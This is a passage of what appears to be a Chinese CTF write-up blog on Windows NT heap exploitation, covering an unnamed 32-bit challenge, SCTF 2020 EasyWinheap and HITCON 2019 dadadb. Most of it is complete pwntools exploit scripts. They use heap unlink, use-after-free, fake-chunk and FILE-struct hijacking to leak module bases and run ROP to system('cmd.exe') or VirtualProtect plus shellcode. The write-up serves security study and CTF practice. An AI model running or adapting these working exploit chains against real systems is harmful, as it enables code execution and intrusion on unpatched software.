.text:0040147D                 call    edi ; puts
.text:0040147F                 add     esp, 4
.text:00401482                 cmp     byte ptr [ebp-11h], 0
.text:00401486                 jz      short loc_4014DC
.text:00401488                 push    offset aQualified ; "Qualified!"
.text:0040148D                 call    edi ; puts
.text:0040148F                 push    offset aForgetAwkwardS ; "Forget awkward SWORDs, you will experie"...
.text:00401494                 call    edi ; puts
.text:00401496                 push    offset aButOnlyOnceInN ; "But only once in Novice Village."
.text:0040149B                 call    edi ; puts
.text:0040149D                 push    offset aSoWhatSYourTar ; "So what's your target?"
.text:004014A2                 call    edi ; puts
.text:004014A4                 lea     eax, [ebp-10h]
.text:004014A7                 mov     dword ptr [ebp-10h], 0
.text:004014AE                 push    eax
.text:004014AF                 push    offset aD       ; "%d"
.text:004014B4                 call    scan
.text:004014B9                 add     esp, 18h
.text:004014BC                 cmp     eax, 1
.text:004014BF                 jnz     loc_401553
.text:004014C5                 call    ebx ; getchar
.text:004014C7                 mov     eax, [ebp-10h]
.text:004014CA                 mov     cl, [ebp-11h]
.text:004014CD                 push    offset aHitTheTargetAw ; "Hit the target, awesome shoot!"
.text:004014D2                 mov     [eax], cl
.text:004014D4                 call    edi ; puts
.text:004014D6                 mov     byte ptr [ebp-11h], 0
.text:004014DA                 jmp     short loc_4014EA

利用分析

和 Hello-win唯一不同在于，这是一个32位的 NT堆。相比 64位，区别在于 Flink和 Blink都是 4字节，而chunk_header没有变化，仍然为 8字节。

利用思路，仍然是 Unlink攻击。不过这道题没有开启 PROCESS_MITIGATION_CHILD_PROCESS_POLICY 保护，所以可以直接通过 ROP执行 system('cmd.exe')来 getshell。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
from pwn import *
context.update(arch='i386', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

debug = 1
leak = 1
if debug == 1:
    p = remote('192.168.44.175', 10002)

def Add(size, content):
    p.recvuntil('your choice?\r\n')
    p.sendline(str(1))
    p.recvuntil('your sword?\r\n')
    p.sendline(str(int(size)))
    p.recvuntil(' Name it!\r\n')
    p.sendline(content)

def Show(idx):
    p.recvuntil('your choice?\r\n')
    p.sendline(str(4))
    p.recvuntil('will you check?\r\n')
    p.sendline(str(idx))

def Edit(idx, size, content):
    p.recvuntil('your choice?\r\n')
    p.sendline(str(3))
    p.recvuntil('you polish?\r\n')
    p.sendline(str(idx))
    p.recvuntil('this time?\r\n')
    p.sendline(str(int(size)))
    p.recvuntil('it again : \r\n')
    p.send(content+'\n')

def Delete(idx):
    p.recvuntil('your choice?\r\n')
    p.sendline(str(2))
    p.recvuntil('want to destroy?\r\n')
    p.sendline(str(idx))

def Used(addr):
    p.sendlineafter('choice?\r\n', '1337')
    p.sendlineafter('target?\r\n', str(addr + 2))

def Pwn():
    p.recvuntil('Novice village gift : ')
    plt_addr = int(p.recvuntil('\r\n', drop=True), 16)
    plt_base = plt_addr-0x1090
    print("plt_addr:", hex(plt_addr),hex(plt_base))
    chunk_list = plt_base+0x4370
    used_list = plt_base+0x43bc

    Add(0x58, '0000')   #0
    Add(0x58, '1111')   #1
    Add(0x58, '2222')   #2
    Add(0x58, '3333')   #3
    Add(0x58, '4444')   #4
    Add(0x58, '5555')   #5

    Delete(2)
    #raw_input()
    payload = 'a'*0x58
    Edit(1, 0x58, payload)
    Show(1)
    p.recvuntil('a'*0x58)
    chunk_header = u64(p.recvuntil('\r\n',drop=True).ljust(8, b'\x00'))
    print("chunk_header:",hex(chunk_header))
    # payload = 'a'*0x58 + p64(chunk_header) + p32(chunk_list+8-4)+p32(chunk_list+8)
    # Edit(1, len(payload), payload)

    Delete(4)
    payload = 'a'*0x58 + p64(chunk_header) + p32(chunk_list+8-4)+p32(chunk_list+8)
    Edit(1, len(payload), payload)
    #unlink
    Delete(1)

    Used(used_list)

    print("unlink ok")
    #raw_input()
    #leak kernel32_base
    heap_free = plt_base+0x3004
    payload = p32(chunk_list+0xc)+p32(heap_free)
    Edit(2, len(payload), payload)

    Show(3)
    p.recvuntil('Show : ')
    heap_free_addr = u32(p.recv(4))
    kernel32_base = heap_free_addr - 0x11a70
    print("kernel32_base:",hex(kernel32_base))

    #leak ucrtbase_base
    puts_got = plt_base+0x30c8
    payload = p32(puts_got)
    Edit(2, len(payload), payload)
    Show(3)
    p.recvuntil('Show : ')
    puts_addr = u32(p.recv(4))
    ucrtbase_base = puts_addr - 0xb4070
    print("ucrtbase_base:",hex(ucrtbase_base))

    #leak ntdll.addr
    create_file = kernel32_base+0x819BC
    payload = p32(create_file)
    Edit(2, len(payload), payload)
    Show(3)
    p.recvuntil('Show : ')
    create_file_addr = u32(p.recv(4))
    ntdll_base = create_file_addr - 0x721e0
    print("ntdll_base:",hex(ntdll_base))

    system_addr = ucrtbase_base+0xec250
    cmd_addr = ucrtbase_base+0x10694
    exit_addr = ucrtbase_base+0x3d0d0
    print("system_addr:",hex(system_addr))

    raw_input()
    #leak peb_addr
    peb_off = ntdll_base+0x11dc54
    payload = p32(peb_off)
    Edit(2, len(payload), payload)
    Show(3)
    p.recvuntil('Show : ')
    peb_addr = u32(p.recv(3).ljust(4, b'\x00'))-0x44
    teb_addr = peb_addr+0x3000
    print("peb_addr:",hex(peb_addr),hex(teb_addr))

    #leak stack_base
    teb_off = teb_addr
    payload = p32(teb_off)
    Edit(2, len(payload), payload)
    Show(3)
    p.recvuntil('Show : ')
    Stack_base = u32(p.recv(3).ljust(4, b'\x00'))
    print("Stack_base:",hex(Stack_base))


    #leak main_ret_addr
    payload = p32(used_list)
    Edit(2,len(payload), payload)
    payload = p8(1) * 16
    Edit(3, len(payload), payload)
    main_ret = plt_base+0x193b
    main_ret_addr = 0x0

    for addr in range(Stack_base, Stack_base+0x100, 0x10):
        payload = p32(addr)+p32(addr+4)+p32(addr+8)+p32(addr+0xc)
        Edit(2, 0x10, payload)
        for i in range(3, 7):
            Show(i)
            p.recvuntil('Show : ')
            leak_addr = u32(p.recv(3).ljust(4, b'\x00'))
            if leak_addr == main_ret:
                main_ret_addr = addr+4*(i-3)
                print("leak_addr:",hex(leak_addr),hex(addr+4*(i-3)))
                break

    if main_ret_addr == 0x0:
        print("Not Found main_ret_addr")
        p.close()
        return 0
    print("main_addr:",hex(main_ret_addr))
    raw_input()
    payload = p32(main_ret_addr)
    Edit(2, 4, payload)

    rop = flat([
        system_addr,
        exit_addr,
        cmd_addr,
    ])

    Edit(3, len(rop), rop)

    p.sendlineafter('choice?\r\n', '5')
    p.interactive()

Pwn()

2020-SCTF-EasyWinheap

程序分析

1
2
3
4
5
6
7
case 2:
  put("index >");
  scan("%ud", (char)idx);
  getchar();
  if ( *(_DWORD *)idx >= 0x10u || !*(_DWORD *)(chunk + 8 * *(_DWORD *)idx + 4) )
    goto LABEL_29;
  HeapFree(hHeap, 1u, *(LPVOID *)(chunk + 8 * *(_DWORD *)idx + 4));

Delete功能有一个 UAF漏洞。

1
2
*(_DWORD *)(chunk + 8 * id) = (unsigned int)puts | size_1;
*(_DWORD *)(chunk_head + 8 * id + 4) = chunk_addr;

存储堆块地址中，会存储一个 puts函数指针，在输出时会调用这个指针。

利用分析

32位，利用 Unlink劫持 chunk_list。

先输出 puts|size的值，得到 plt的基址。随后和上面差不多。

这里是通过劫持 函数指针 为 system，布置参数为 cmd.exe。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
from pwn import *
context.update(arch='i386', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

debug = 1
leak = 1
if debug == 1:
    p = remote('192.168.44.175', 10002)

def Add(size):
    p.recvuntil('option >\r\n')
    p.sendline(str(1))
    p.recvuntil('size >\r\n')
    p.sendline(str(int(size)))

def Show(idx):
    p.recvuntil('option >\r\n')
    p.sendline(str(3))
    p.recvuntil('index >\r\n')
    p.sendline(str(idx))

def Edit(idx, content):
    p.recvuntil('option >\r\n')
    p.sendline(str(4))
    p.recvuntil('index >\r\n')
    p.sendline(str(idx))
    p.recvuntil('content  >\r\n')
    p.send(content+'\n')

def Delete(idx):
    p.recvuntil('option >\r\n')
    p.sendline(str(2))
    p.recvuntil('index >\r\n')
    p.sendline(str(idx))

def Pwn():
    for i in range(6):
        Add(0x80)

    Delete(2)
    Show(2)
    heap_addr = u32(p.recv(4))
    print("heap_addr",hex(heap_addr))

    chunk_struct = heap_addr-0x118
    print("chunk_struct:",hex(chunk_struct))
    Delete(4)
    raw_input()
    payload = p32(chunk_struct+0x14-4)+p32(chunk_struct+0x14)
    Edit(2, payload)
    Delete(1)
    print("unlink ok")

    raw_input()
    payload = p32(chunk_struct)
    Edit(2, payload)
    Show(2)
    header1 = u32(p.recv(3).ljust(4, b'\x00'))
    print("header1:",hex(header1))
    # payload = p32(chunk_struct+2)
    # Edit(2, payload)
    # Show(2)
    # header2 = u32(p.recv(1).ljust(4, b'\x00'))
    # print("header2:",hex(header2))
    header = (0x36<<16)+header1
    print("header:",hex(header))
    puts_got = header&0xfffffff0
    plt_base = puts_got-0x1040
    print("puts_got:",hex(puts_got),hex(plt_base))

    raw_input()
    #leak kernel32_base
    heap_free_iat = plt_base+0x2004
    payload = p32(header)+p32(heap_free_iat)
    Edit(2, payload)
    Show(0)
    heap_free_addr = u32(p.recv(4))
    kernel32_base = heap_free_addr - 0x11a70
    print("kernel32_base:",hex(kernel32_base))

    #leak ucrtbase
    puts_iat = plt_base+0x20c4
    payload = p32(header)+p32(puts_iat)
    Edit(2, payload)
    Show(0)
    puts_addr = u32(p.recv(4))
    ucrtbase_base = puts_addr - 0xb4070
    print("urctbase_base:",hex(ucrtbase_base))

    #leak ntdll
    create_file_iat = kernel32_base+0x819BC
    payload = p32(header)+p32(create_file_iat)
    Edit(2, payload)
    Show(0)
    create_file_addr = u32(p.recv(4))
    ntdll_base = create_file_addr - 0x721e0
    print("ntdll_base:",hex(ntdll_base))

    system_addr = ucrtbase_base+0xec250
    cmd_addr = ucrtbase_base+0x10694
    exit_addr = ucrtbase_base+0x3d0d0
    print("system_addr:",hex(system_addr))

    fake_header = system_addr | 0x9
    payload = p32(fake_header)+p32(cmd_addr)
    Edit(2, payload)
    Show(0)

    p.interactive()
Pwn()

后端堆-堆伪造

2019-HITCON-dadadb

程序分析

程序漏洞在add函数中，对同一个 key再次使用 add时，其会现释放 之前的 data_chunk，然后根据输入的 size再申请一个 data_chunk，然后再次读取用户输入，但是读取输入时使用的仍然是之前的 chunk size，所以这里存在一个堆溢出。如果旧的 chunk size比新分配的 data_chunk大，那么就会堆溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
int sub_140001340()
{
  HANDLE v0; // rax
  DWORD v1; // edx
  __int64 chunk_ptr; // rdi
  unsigned __int8 *v3; // rax
  int v4; // ecx
  int v5; // edx
  char *chunk_struct; // rdi
  HANDLE v7; // rax
  HANDLE v8; // rax
  DWORD v9; // edx
  unsigned __int64 size; // rax
  __int64 size_1; // rbx
  void *chunk_addr; // rdi
  HANDLE v13; // rax
  DWORD v14; // edx
  __int64 v15; // rax
  __int64 v16; // rax
  DWORD v17; // edx
  unsigned __int64 size2; // rax
  HANDLE v19; // rcx
  __int64 size22; // rbx
  void *chunk_2; // rsi
  HANDLE v22; // rax
  DWORD v23; // edx
  __int64 v24; // rax
  __int64 v25; // rax
  DWORD NumberOfBytesRead; // [rsp+30h] [rbp-D0h] BYREF
  char String[24]; // [rsp+38h] [rbp-C8h] BYREF
  char Buffer[256]; // [rsp+50h] [rbp-B0h] BYREF

  memset(Buffer, 0, sizeof(Buffer));
  print("Key:");
  v0 = GetStdHandle(0xFFFFFFF6);
  if ( !ReadFile(v0, Buffer, 0x40u, &NumberOfBytesRead, 0i64) )
  {
    puts("read error");
    _exit(1);
  }
  v1 = NumberOfBytesRead;
  if ( Buffer[NumberOfBytesRead - 1] == 10 )
    Buffer[NumberOfBytesRead - 1] = 0;
  if ( Buffer[v1 - 2] == 13 )
    Buffer[v1 - 2] = 0;
  chunk_ptr = chunk_list[(unsigned __int8)Buffer[0]];
  if ( chunk_ptr )
  {
    while ( 1 )
    {
      v3 = (unsigned __int8 *)(chunk_ptr + 16);
      do
      {
        v4 = (unsigned __int8)Buffer[(_QWORD)v3 - 16 - chunk_ptr];
        v5 = *v3 - v4;
        if ( v5 )
          break;
        ++v3;
      }
      while ( v4 );
      if ( !v5 )
        break;
      chunk_ptr = *(_QWORD *)(chunk_ptr + 88);
      if ( !chunk_ptr )
        goto LABEL_13;
    }
    HeapFree(hHeap, 0, *(LPVOID *)chunk_ptr);
    print("Size:");
    v8 = GetStdHandle(0xFFFFFFF6);
    if ( !ReadFile(v8, String, 0x10u, &NumberOfBytesRead, 0i64) )
    {
      puts("read error");
      _exit(1);
    }
    v9 = NumberOfBytesRead;
    if ( String[NumberOfBytesRead - 1] == 10 )
      String[NumberOfBytesRead - 1] = 0;
    if ( String[v9 - 2] == 13 )
      String[v9 - 2] = 0;
    size = atoll(String);
    if ( size >= 0x1000 )
      size = 0x1000i64;
    *(_QWORD *)chunk_ptr = HeapAlloc(hHeap, 8u, size);
    print("Data:");
    size_1 = *(_QWORD *)(chunk_ptr + 8);
    chunk_addr = *(void **)chunk_ptr;
    v13 = GetStdHandle(0xFFFFFFF6);
    if ( !ReadFile(v13, chunk_addr, size_1, &NumberOfBytesRead, 0i64) )// 堆溢出
    {
      puts("read error");
      _exit(1);
    }
    v14 = NumberOfBytesRead;
    v15 = NumberOfBytesRead - 1;
    if ( *((_BYTE *)chunk_addr + v15) == 10 )
    {
      *((_BYTE *)chunk_addr + v15) = 0;
      v14 = NumberOfBytesRead;
    }
    v16 = v14 - 2;
    if ( *((_BYTE *)chunk_addr + v16) == 13 )
      *((_BYTE *)chunk_addr + v16) = 0;
  }
  else
  {
LABEL_13:
    chunk_struct = (char *)HeapAlloc(hHeap, 8u, 0x60ui64);
    strncpy_s(chunk_struct + 16, 0x41ui64, Buffer, 0x40ui64);
    print("Size:");
    v7 = GetStdHandle(0xFFFFFFF6);
    if ( !ReadFile(v7, String, 0x10u, &NumberOfBytesRead, 0i64) )
    {
      puts("read error");
      _exit(1);
    }
    v17 = NumberOfBytesRead;
    if ( String[NumberOfBytesRead - 1] == 10 )
      String[NumberOfBytesRead - 1] = 0;
    if ( String[v17 - 2] == 13 )
      String[v17 - 2] = 0;
    size2 = atoll(String);
    v19 = hHeap;
    if ( size2 >= 0x1000 )
      size2 = 4096i64;
    *((_QWORD *)chunk_struct + 1) = size2;
    *(_QWORD *)chunk_struct = HeapAlloc(v19, 8u, size2);
    print("Data:");
    size22 = *((_QWORD *)chunk_struct + 1);
    chunk_2 = *(void **)chunk_struct;
    v22 = GetStdHandle(0xFFFFFFF6);
    if ( !ReadFile(v22, chunk_2, size22, &NumberOfBytesRead, 0i64) )
    {
      puts("read error");
      _exit(1);
    }
    v23 = NumberOfBytesRead;
    v24 = NumberOfBytesRead - 1;
    if ( *((_BYTE *)chunk_2 + v24) == 10 )
    {
      *((_BYTE *)chunk_2 + v24) = 0;
      v23 = NumberOfBytesRead;
    }
    v25 = v23 - 2;
    if ( *((_BYTE *)chunk_2 + v25) == 13 )
      *((_BYTE *)chunk_2 + v25) = 0;
    *((_QWORD *)chunk_struct + 11) = chunk_list[(unsigned __int8)Buffer[0]];
    chunk_list[(unsigned __int8)Buffer[0]] = chunk_struct;
  }
  return puts("Done!");
}

同时输出时，因为也是使用旧的 chunk size，所以存在一个越界泄露。可以用于泄露数据。

利用分析

由于存在一个堆溢出，那么就很方便的就能泄露 chunk header，和 heap地址。

然后这里 有一个新的 得到 ntdll.dll的方法，在堆内存开头的 _HEAP结构体的 0x2c0偏移处，会存储 ntdll!lock的地址，那么我们只需要通过堆溢出修改 chunk_struct中的 data_chunk，就可以泄露 ntdll.dll的基址，然后就可以泄露 kernel32.dll和 ucrtbase.dll和栈基址和程序基址。

这道题的难点，并不在于数据泄露，而在于如何实现 getshell。虽然，通过堆溢出可以实现 任意地址读，但是并不能实现任意地址写。

这里实现任意地址写的方法是 类似于 Linux下的 house of sprit，在栈上或者 bss段上伪造一个 fake_heap，修改一个 freed_chunk的 Flink指针，将 fake_chunk链入 Freelist中，然后申请堆块，直到分配到栈上或 bss上。

house of sprit

可以在 bss段上，通过再次输入 pwd来伪造一个 freed_chunk_header和一个Flink\ Blink指针在 FILE指针之上。
然后通过堆溢出，将这个 fake_chunk插入当前 Freelist中。例如选用如下Freelist链：

1
2
Freelist.Flink->chunk1.Flink->chunk2.Flink->chunk3.Flink->Freelist
chunk3.Blink->chunk2.Blink->chunk1.Blink->Freelist

此时将 fake_chunk需要插入 chunk1和 chunk2之间，避免插入 Freelist头部和尾部，因为会对BlockIndexs有影响

1
2
Freelist.Flink->chunk1.Flink->fake_chunk.Flink->chunk2.Flink->chunk3.Flink->Freelist
chunk3.Blink->chunk2.Blink->fake_chunk.Blink->chunk1.Blink->Freelist

所以伪造 fake_chunk，需要知道一个header，其size 满足 chunk1<= size <= chunk2。然后要能够修改 chunk1.Flink和 chunk2.Blink，同时还需要知道 chunk1和chunk2的地址。

然后，就能通过分配 fake_chunk的size将 fake_chunk申请出来，也就能够修改 FILE结构体指针的值。

FILE攻击

Windows的 FILE结构体中，并不像 Linux下含有各种指针，所以无法做到直接通过劫持FILE来劫持控制流。
但是相同点是，都含有一个输入缓冲区，用以缓存输入的内容。其结构体如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
struct __crt_stdio_stream_data
{
	union
	{
		FILE  _public_file;
		char* _ptr;			//当前结构指针
	};
 
	char*            _base;	//输入缓冲区基址
	int              _cnt;	//没有被读出的缓冲区剩余大小
	long             _flags;	//文件指针的属性，例如是否有缓冲区，是否可读写
	long             _file;		//文件描述符
	int              _charbuf;	//Local buffer
	int              _bufsiz;	//buffer size
	char*            _tmpfname;	
	CRITICAL_SECTION _lock;		//lock

如果要实现任意地址读，fwrite：

  • 设置 _file文件描述符为 stdout输出符
  • 设置_flag 为 _IOWRITE | IOBUFFER_USER | _IOUPDATE
  • 设置 _cnt=0
  • 设置 _base& _ptr指向像读取的地址
  • 设置_bufsize为输出的大小

如果要实现任意地址写，fread:

  • 设置 _file文件描述符为 stdin输出符
  • 设置_flag 为 _IOALLOCATED | _IOBUFFER_USER
  • 设置 _cnt=0
  • 设置 _base& _ptr指向像写入的地址
  • 设置_bufsize为输入的大小

这里首先在堆中伪造 fake_FILE的结构，然后将 FILE指针指向该fake_FILE即可。这里的想法是劫持返回地址，所以这里的 _base需要设置为 ret的 栈地址。

1
2
3
4
5
6
7
8
9
10
11
12
fake_FILE = [
    0,      #_ptr
    main_ret - 0x280, # login ret   _base
    p32(0), p32(0x2080),    #cnt flag
    0,                      #fd     0
    0x200,                  #bufsize
    0,                      #0
    0xffffffffffffffff,
    p32(0xffffffff), p32(0),
    0,
    0,
]

getshell

这里 getshell的方法，是先通过劫持返回地址，rop执行virtualProtect将heap设为可执行，然后执行shellcode即可。这里解释一下为什么 shellcode中要在执行 writefile之前，调用GetStdHandle，这个函数功能是检索指定标准设备的句柄（标准输入、标准输出或标准错误），因为在windows下想执行write和 Linux下不同，其标准输入输出的句柄并非固定的 0、1、2，所以这里需要先执行这个函数获取句柄

1
2
3
HANDLE WINAPI GetStdHandle(
  _In_ DWORD nStdHandle
);

参数如下：

1
2
3
4
值								含义
STD_INPUT_HANDLE (DWORD) -10	标准输入设备。 最初，这是输入缓冲区 CONIN$ 的控制台。
STD_OUTPUT_HANDLE (DWORD) -11	标准输出设备。 最初，这是活动控制台屏幕缓冲区 CONOUT$。
STD_ERROR_HANDLE (DWORD) -12	标准错误设备。 最初，这是活动控制台屏幕缓冲区 CONOUT$。

这里的另一个思路是直接将 fake_chunk伪造在栈上，这样即可不用攻击 FILE

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

debug = 1
leak = 1
if debug == 1:
    p = remote('192.168.44.175', 10002)

def Login(user, passwd):
    p.sendlineafter('>> ', '1')
    p.sendafter('User:', user)
    p.sendafter('Password:', passwd)

def Add(key, size, data):
    p.sendlineafter('>> ', '1')
    p.sendafter('Key:', key)
    p.sendlineafter('Size:', str(size))
    p.sendafter('Data:', data)

def Show(key):
    p.sendlineafter('>> ', '2')
    p.sendafter('Key:', key)
    p.recvuntil('Data:')

def Delete(key):
    p.sendlineafter('>> ', '3')
    p.sendafter('Key:', key)

Login('a1ex', '1234')

Add('11', 0x100, '11')
Add('22', 0x30, '22')
Add('11', 0x30, '11')
Add('33', 0x200, '33')

#raw_input()
Show('11')
head = p.recv(0x40)
heap_addr = u64(p.recv(8)) - 0xa90
log.success('heap_addr: ' + hex(heap_addr))

Add('11', 0x30, head + p64(heap_addr + 0x2c0))
Show('33')
result = p.recvn(8)

dot_data = 0x15f000
ntdll = (u64(result) - dot_data) & 0xffffffffffff0000
log.success('ntdll: ' + hex(ntdll))

PebLdr_symbol = 0x1653c0
Add('11', 0x30, head + p64(ntdll + PebLdr_symbol -  0x98))
Show('33')
Peb_addr = u64(p.recvn(8)) & 0xfffffffffffff000
log.success('Peb_addr: ' + hex(Peb_addr))

parameters_sym = Peb_addr+0x20
Add('11', 0x30, head + p64(parameters_sym))
Show('33')
parameters_addr = u64(p.recvn(8))
log.success('param_addr: ' + hex(parameters_addr))

parameters_sym = parameters_addr+0x20
Add('11', 0x30, head + p64(parameters_sym))
Show('33')
hstdin = u64(p.recvn(8))
log.success('hstdin: ' + hex(hstdin))

Add('11', 0x30, head + p64(Peb_addr + 0x10))
Show('33')
image_base_addr = u64(p.recvn(8))
log.success('image_base_addr: ' + hex(image_base_addr))

Teb_addr = Peb_addr + 0x1000
Add('11', 0x30, head + p64(Teb_addr + 8))
Show('33')
stack_base = u64(p.recvn(8))
log.success('stack_base: ' + hex(stack_base))

ret_content = p64(image_base_addr + 0x1E38)
main_ret = 0
offset = 0x200
while(True):
    Add('11', 0x30, head + p64(stack_base - offset))
    Show('33')
    result = p.recvn(0x200)
    position = result.find(ret_content)
    if(position != -1):
        main_ret = stack_base - offset + position
        break
    offset += 0x200

log.success('main_ret: ' + hex(main_ret))

Add('11', 0x30, head + p64(image_base_addr + 0x3000))
Show('33')
ReadFile_addr = u64(p.recvn(8))
KERNEL32 = ReadFile_addr - 0x22180
log.success('KERNEL32: ' + hex(KERNEL32))

print("leak addr ok")
raw_input()

# clear
Add('clear', 0x50, 'clear')

Add('44', 0x200, '44')
Add('44', 0x50, '44')
Add('55', 0x40, '55')
Add('66', 0x40, '66')

# free
Add('55', 0x50, '55')
Add('66', 0x50, '66')

print('adapt heap_addr')

asm_str = '''
sub rsp, 0x1000 ;// to prevent underflowing

mov rax, 0x7478742e67616c66 ;// flag.txt
mov [rsp + 0x100], rax
mov byte ptr [rsp + 0x108], 0
lea rcx, [rsp + 0x100]
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
mov dword ptr[rsp + 0x20], 3
mov dword ptr[rsp + 0x28], 0x80
mov [rsp + 0x30], r9
mov rax, %d
call rax ;// CreateFile

mov rcx, rax
lea rdx, [rsp + 0x200]
mov r8d, 0x200
lea r9, [rsp + 0x30]
xor eax, eax
mov [rsp + 0x20], rax
mov rax, %d
call rax ;// ReadFile

mov ecx, 0xfffffff5 ;// STD_OUTPUT_HANDLE
mov rax, %d
call rax ;// GetStdHandle

mov rcx, rax
lea rdx, [rsp + 0x200]
mov r8d, [rsp + 0x30]
lea r9, [rsp + 0x40]
xor eax, eax
mov [rsp + 0x20], rax
mov rax, %d
call rax ;// WriteFile

mov rax, %d
call rax ;// exit
''' % ( KERNEL32 + 0x21df0, KERNEL32 + 0x22180, KERNEL32 + 0x1c380, KERNEL32 + 0x22270, image_base_addr + 0x1B86)
shellcode = asm(asm_str)
Add('888', 0x200, shellcode)

Show('44')
result = p.recvn(0x200)
xor_header = result[0x188: 0x190]   #freed chunk6_header in Freelist head
print("fake chunk in pwd")
p.sendlineafter('>> ', '4') #　logout
payload = xor_header + p64(heap_addr + 0xe50) + p64(heap_addr + 0xf10) # fake chunk
Login('a1ex', '1234\0\0\0\0' + payload)

print("UAF modify Flink and Blink")
payload = result[: 0xd8] + p64(image_base_addr + 0x5658) + result[0xe0:0x190] + p64(image_base_addr + 0x5658)
Add('44', 0x50, payload)

Add('77', 0x40, '77')
print("hijack FILE")
Add('88', 0x40, 'p' * 0x10 + p64(heap_addr + 0x13f0)) # hijack FILE

fake_FILE = [
    0,      #_ptr
    main_ret - 0x280, # login ret   _base
    p32(0), p32(0x2080),    #cnt flag
    0,                      #fd     0
    0x200,                  #bufsize
    0,                      #0
    0xffffffffffffffff,
    p32(0xffffffff), p32(0),
    0,
    0,
]
Add('99', 0x100, flat(fake_FILE))

p.sendlineafter('>> ', '4') #　logout

print("hijack control flow")
raw_input()

Login('aa', 'bb')

pop_rdx_r11_ret = ntdll + 0x8c457
pop_rcx_ret = ntdll + 0x21527
pop_r8_ret = ntdll + 0x4d6cf
pop_r9_r10_r11_ret = ntdll + 0x8c454


VirtualProtect = KERNEL32+0x1ad00#0x36cc0#
print('V:',hex(VirtualProtect),hex(KERNEL32))
layout = [
    # pop_rcx_ret,
    # hstdin,
    # pop_rdx_r11_ret,
    # heap_addr, 0x0,
    # pop_r8_ret,  #: pop r8; pop r9; pop r10; pop r11; ret;
    # 0x100,
    # pop_r9_r10_r11_ret,
    # heap_addr + 0x1100,
    # 0,
    # 0,
    # KERNEL32 + 0x22180,  # ReadFile

    pop_rdx_r11_ret,
    0x2000, 0x0,
    pop_rcx_ret,
    heap_addr,
    pop_r8_ret,
    0x40, # PAGE_EXECUTE_READWRITE
    pop_r9_r10_r11_ret,
    heap_addr + 0x1000,
    0,0,
    VirtualProtect,

    # ntdll + 0xa012a, #: add rsp, 0x8; ret;
    # 0,
    #
    # ntdll + 0x2c527, #: pop rcx; ret;
    # 0xFFFFFFF6,
    # KERNEL32 + 0x1c380, # GetStdHandle
    #
    # ntdll + 0x3537a, #: mov rcx, rax; mov rax, rcx; add rsp, 0x28; ret;
    # 0,0,0,0,0,
    # pop_rcx_ret,
    # hstdin,
    # pop_rdx_r11_ret,
    # heap_addr, 0x0,
    # pop_r8_ret, #: pop r8; pop r9; pop r10; pop r11; ret;
    # 0x100,
    # pop_r9_r10_r11_ret,
    # heap_addr + 0x1100,
    # 0,
    # 0,
    # KERNEL32 + 0x22180, # ReadFile
    heap_addr+0x1090,
    0,0,0,
    0,
]
print(flat(layout))
p.send(flat(layout).ljust(0x100, '\0'))

p.interactive()

HITCON 2018 Windows Land

程序分析

1
2


利用分析

1
2


EXP

1
2


赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

